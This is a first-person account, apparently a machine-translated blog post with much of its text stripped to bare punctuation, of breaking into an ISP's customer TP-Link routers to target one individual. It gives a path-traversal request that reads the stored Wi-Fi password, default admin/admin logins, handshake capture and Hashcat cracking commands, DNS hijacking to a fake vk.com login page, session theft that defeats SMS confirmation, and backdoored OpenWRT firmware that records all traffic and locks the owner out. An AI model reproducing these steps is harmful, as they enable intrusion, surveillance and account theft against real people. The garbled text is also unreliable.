К чему могут привести уязвимости в роутерах TP-LINK

TP-LINK, , - . , . , .

, , . , , , TightVNC backconnect’ IP + VLC player, IP. VirusTotal. . , ( cookies ), , .

, – , . , , N ( ), : 8080. , web- . admin admin ( ), , , , . , 90% TP-Link TL-WR741ND 740N, 841N, 941ND.



Tudo é muito claro aqui: o provedor aluga os mesmos roteadores para os usuários, os configura para instalação durante a instalação e é muito preguiçoso para os usuários alterar essas configurações. Tornou-se cada vez mais interessante. Certamente, nesse caso, deve haver algum padrão na configuração, ou seja, as senhas provavelmente são as mesmas. Decidi pesquisar no Google se havia alguma vulnerabilidade nesses modelos e, para minha surpresa na época, encontrei muitas delas. A primeira coisa que me chamou a atenção foi o artigo "Backdoor em roteadores TP-LINK" .

Decidi imediatamente verificar essa vulnerabilidade. Os arquivos foram enviados para o roteador, mas ele não os aceitou, e então comecei a pensar sobre o que é esse nart.out. Este é um binário MIPS, que em essência pode ser qualquer aplicativo, você só precisa construí-lo. Para começar, comecei a procurar uma versão pronta, porque antes, quase nunca tinha que lidar com compilação cruzada. Para minha surpresa, naquele momento, outra pessoa estava interessada nessa questão: Specx2 (eu recomendo, aliás, que leia seu artigosobre como montar uma estação de hackers a partir de um roteador, o que, de fato, eu fiz no final, apenas remotamente). Ele conseguiu encontrar o netcat compilado sob o MIPS em um dos fóruns chineses, a propósito, exatamente na seção em que essa vulnerabilidade foi discutida. Este binário foi lançado com êxito no QEMU, foi derramado com sucesso no roteador através da porta traseira encontrada, mas, por algum motivo, não foi possível conectar-se ao roteador: apenas não tinha uma conexão. O camarada Specx2 sugeriu que o ponto pode ser que a porta 2222 possa simplesmente ser fechada e você precisa de alguma forma fazer o netcat rodar em outra porta.

netcat MIPS, . , . Notepad++, , 2222. , – . , QEMU, .

. . : 841 941

/userRpmNatDebugRpm26525557/linux_cmdline.html

Somente aqui a senha do roteador ainda precisava ser conhecida, e os usuários desse provedor tinham basicamente 741 modelos. Consegui encontrar um roteador com uma senha padrão e esse shell, embora muito truncado. Assim, eu tenho acesso ao sistema de arquivos do roteador. Infelizmente, não consegui encontrar nada de valor e o shell não funcionou corretamente. Os desenvolvedores estão realmente fazendo a depuração por meio dele?

Parecia um beco sem saída, por um longo tempo eu não tinha uma única pista, mas algo me disse que ainda havia vulnerabilidades. E então eu descobri que o roteador não filtra solicitações GET. Ou seja, por padrão, quando a senha é digitada incorretamente, a página / help é aberta, mas se, por exemplo, fizermos esta solicitação:

GET IP:port/help/../../

Em seguida, chegaremos à raiz do sistema de arquivos do roteador. Assim, podemos baixar quase qualquer arquivo do roteador FS sem nem mesmo saber a senha. Essa foi a primeira vulnerabilidade de trabalho bem-sucedida de tudo o que encontrei. Mas o que isso nos dá se conseguirmos apenas baixar arquivos e não soubermos onde a senha está armazenada?

Após uma breve pesquisa, ainda consegui encontrar um arquivo interessante em /tmp/ath0.ap_bss, que armazena a senha do Wi-Fi de forma clara. Decidi imediatamente verificá-lo em um dos roteadores de usuários desse provedor.

GET IP:8080/help/../../tmp/ath0.ap_bss

, , web- Wi-Fi, , Wi-Fi , web-. , 8 . – . 8. , , , . , , , . . SSID IP- , . , . IP . IP.

Apesar do fato de todos os usuários terem um IP externo real (embora dinâmico), decidi criar um servidor VPN em vários roteadores da ASUS, onde havia uma senha padrão. Felizmente, esse recurso foi costurado no firmware padrão. Assim, eu tive acesso à rede interna do provedor.

. IP . , . IP, . , . -, ping-, . -, , ( TTL, . . Windows, TTL 128), . , , , . , LAN, , , , , . , / dev / mtdblock3 , mas esse bloco não está montado, portanto, é impossível lê-lo através da vulnerabilidade descrita.

Aprendi também que o login da conexão VPN para acessar a Internet são as iniciais e o sobrenome do usuário ou parte dele, e a senha é a mesma. Comecei a pensar: como posso encontrar o usuário de que preciso? Talvez eu ainda tenha cometido o erro de definir o IP dessa vez, e ele já conseguiu mudar enquanto eu tentava me conectar ao webmord? A primeira coisa que veio à mente foi uma simples enumeração de todos os roteadores. Mas o número de assinantes no provedor é bastante grande. Depois de digitalizar todo o intervalo, encontrei cerca de 3.000 roteadores com acesso remoto à interface da web. E era necessário, de alguma forma, encontrar entre eles o caminho certo, se houver.

Primeiro, tentei escrever um script que reconhecesse a senha usando a vulnerabilidade encontrada e, em seguida, baixaria a página de configuração de rede e a salvaria. Mas sou fraco nisso e, depois de descartar essa ideia depois de um tempo, decidi usar um clicker comum. Com tristeza ao meio, eu (ou melhor, o clicker) processei todo o intervalo. Em seguida, procurei nos arquivos de configurações (na esperança de encontrar a vítima pelo sobrenome no logon da conexão VPN), mas não encontrei o que precisava.

, web- . , : , Wi-Fi web- LAN, . . , . . ?

Lembre-se de que a segunda parte do IP interno está contida no SSID. Isso coincide com o número do contrato. Seria bom conhecer o SSID do ponto de acesso do usuário para que você possa encontrá-lo. O que eu fiz? Sim, peguei e escrevi para o suporte técnico do provedor, apresentando-me como usuário, supostamente quero pagar pela Internet, mas esqueci o número do contrato. E recebi instantaneamente uma resposta, pois sabia o nome e o endereço. Assim, reconheci o IP interno da vítima, que por sinal é estático (por isso não faz sentido calcular constantemente a dinâmica externa, pois existe acesso à rede interna via VPN em um dos roteadores invadidos). Eu também obtive o SSID estimado desse usuário, então já tinha algo com o que trabalhar.

, SSID. , , , . , , IP . , , , : 10.168.155.0 10.168.158.0. , , , . , SSID , 2- , . : , , . , SSID, , . .

! , , , , . ? - , handshake ( WPA2-PSK), WPS PIN, . . WPS , 10 . - ? . OpenWRT, , aircrack-ng, reaver . Specx2até Bully se reuniu embaixo dele. Havia apenas um problema: como atualizar o roteador remotamente e não perder o acesso a ele? Afinal, depois de piscar, todas as configurações são redefinidas para o padrão.

Fiquei atormentado com esse problema por um longo tempo, pensei que era necessário coletar todo o firmware a partir do zero e de alguma forma pré-dirigir as configurações lá, mas tudo acabou sendo muito mais simples. Eu nem sabia da existência do OpenWRT Image Builder. , , . . 4MB, , , . , VPN , , . , , . ( ), monitor mode

ifconfig wlan0 down
iw reg set BO
iwconfig wlan0 txpower 27
airmon-ng start wlan0

airodump-ng.

airodump-ng mon0 –c _ –bssid MAC__ –w /tmp/123

handshake . SCP

scp –P port user@host:/tmp/123-01.cap ~/123.cap

Wireshark:

wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x04 || eapol

.hccap Hashcat. , , , .

oclHashcat64.exe –m2500 –a0 123.hccap wordlist.txt

, ! - ! WAN , . , , , ( , ). web- admin admin.

Tudo ocorreu bem! Eu já preparei um plano de ação adicional. No meu IP real sem filtragem, criei o servidor DNS, onde alterei a entrada para vk.com e alterei para meu IP, onde também foi criado o servidor HTTP com PHP. Lá, portanto, o fake foi preenchido com a página de autorização do vk.com e, no roteador, o servidor DNS foi alterado para o meu. Um usuário, acessando o vk.com, foi enganado e, portanto, a senha era minha, o objetivo foi alcançado!

Por muito tempo, usei esse método para obter uma senha, mas uma vez que a confirmação de login no vk.com foi ativada, o que, segundo os próprios criadores, é quase impossível de contornar. A linha inferior é que, ao autorizar a partir de um novo dispositivo / navegador, se você digitar a senha correta, também deverá inserir o código do SMS, que é enviado ao número do proprietário. Mas, neste caso, há muito tempo preparo uma teoria que ainda não foi testada.

, , . : Cookie ( , remixttpid), . , . , User-Agent . , cookie, , : mitmproxy, , . . , , ? , ! , - remixsid , que também é transmitido por uma conexão não segura , porque o usuário não usa https.

O problema era apenas que remixsidele corresponde ao IP do usuário e, se for alterado, também são usados ​​cookies para login.vk.com, que são transmitidos apenas por uma conexão criptografada e é mais difícil interceptá-los. Mas eu tive sorte. Naquele momento, o provedor começou a fornecer acesso à Internet sem a necessidade de estabelecer uma conexão VPN, o que significa que eu poderia apenas aumentar meu servidor PPTP e estabelecer uma conexão nas configurações do roteador do usuário. Assim fiz, todo o tráfego passou por mim e o usuário, sem saber, criou uma sessão anexada ao meu IP, que foi interceptada sem problemas. Em seguida, retornei as configurações anteriores e usei a sessão interceptada (o benefício do IP é estático). Proteção de SMS quebrada com sucesso!

Tudo ficaria bem, mas eu não parei por aí. O fato é que, se o usuário entender de repente qual é o problema, ele simplesmente poderá alterar a senha nas configurações do roteador e no Wi-Fi. Para evitar isso, comecei a criar o OpenWRT sob um roteador de usuário. Era necessário prever tudo. Para um monitoramento conveniente do tráfego de vítimas, montei o servidor FTP como um sistema de arquivos usando o curlftpfs. Despejos são escritos lá. Todo esse processo é descrito neste artigo . Inicialmente, planejei montar a nuvem como um sistema de arquivos, para o qual usei davfs2 , o que também não foi fácil de construir no OpenWRT, mas o problema era que o arquivo foi gravado primeiro no cache e só depois foi derramado na nuvem. Conseqüentemente, o tamanho do arquivo foi limitado pelo tamanho do cache, que é extremamente pequeno. Então eu escolhi o curlftpfs. O tráfego foi gravado usando o tcpdump e foi dividido em arquivos de 512 MB.

tcpdump -i br-lan -w /root/ftp/dump/`date +"%d_%m_%Y_%T_"` -C 512Mb &

Onde / root / ftp / dump é o nosso sistema de arquivos ftp. Todo esse negócio pode ser iniciado automaticamente (/etc/rc.local).
Em geral, o conjunto final de pacotes para o firmware OpenWRT Attitude Adjustment 12.09 tinha a seguinte aparência:

make image PROFILE=TLWR740 PACKAGES="curlftpfs tcpdump tinyproxy wireless-tools -ppp -ppp-mod-pppoe" FILES=files/

Curlftpfs , ftp. Tcpdump , tinyproxy – IP , , remixsid , IP tinyproxy, :

iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to ip:port

, . ftp , opkg –dest, /etc/opkg.conf. .

/etc/firewall.user
/etc/config/firewall
/etc/config/network
/etc/config/system
/etc/config/wireless
/etc/rc.local
 .

Todos esses arquivos devem ser preparados com antecedência para incorporá-los no firmware. Na verdade, o que isso nos dá além dos recursos adicionais? Mas o fato é que o sistema de arquivos squashfs é somente leitura. Consequentemente, o usuário não poderá alterar as configurações padrão que defini de nenhuma maneira. Com toda a sua vontade, mesmo através do telnet, ele não poderá se conectar, porque no rc.local , que é costurado no firmware, existe uma linha

echo –e “pass\npass” | passwd root

Ou seja, o acesso via telnet é cortado imediatamente após o carregamento do roteador, e somente eu tenho a senha SSH. A redefinição para o padrão com um botão físico também falhará aqui, porque o padrão é definido por mim e costurado no firmware. O objetivo é alcançado.

IPoE VPN, NAT’, , VPN . , « IP», . : , IP, VPN . OpenWRT PPTP- ( - ), OpenVPN . , . ( real IP) , OpenVPN.

O problema com a conexão da VPN PPTP foi que os servidores do provedor não suportam criptografia. Isso foi corrigido adicionando uma linha ao /etc/ppp/options.pptp .

nomppe

Caso contrário, o processo de configuração do cliente VPN PPTP e do servidor OpenVPN não foi diferente dos manuais do OpenWRT.

Espero que este artigo seja interessante para alguém e alguém aprenda algo novo com ele.

UPD: Como o ValdikSS escreveu nos comentários , em vez de curlftpfs + tinyproxy, você pode usar o OpenSSH, que é mais funcional.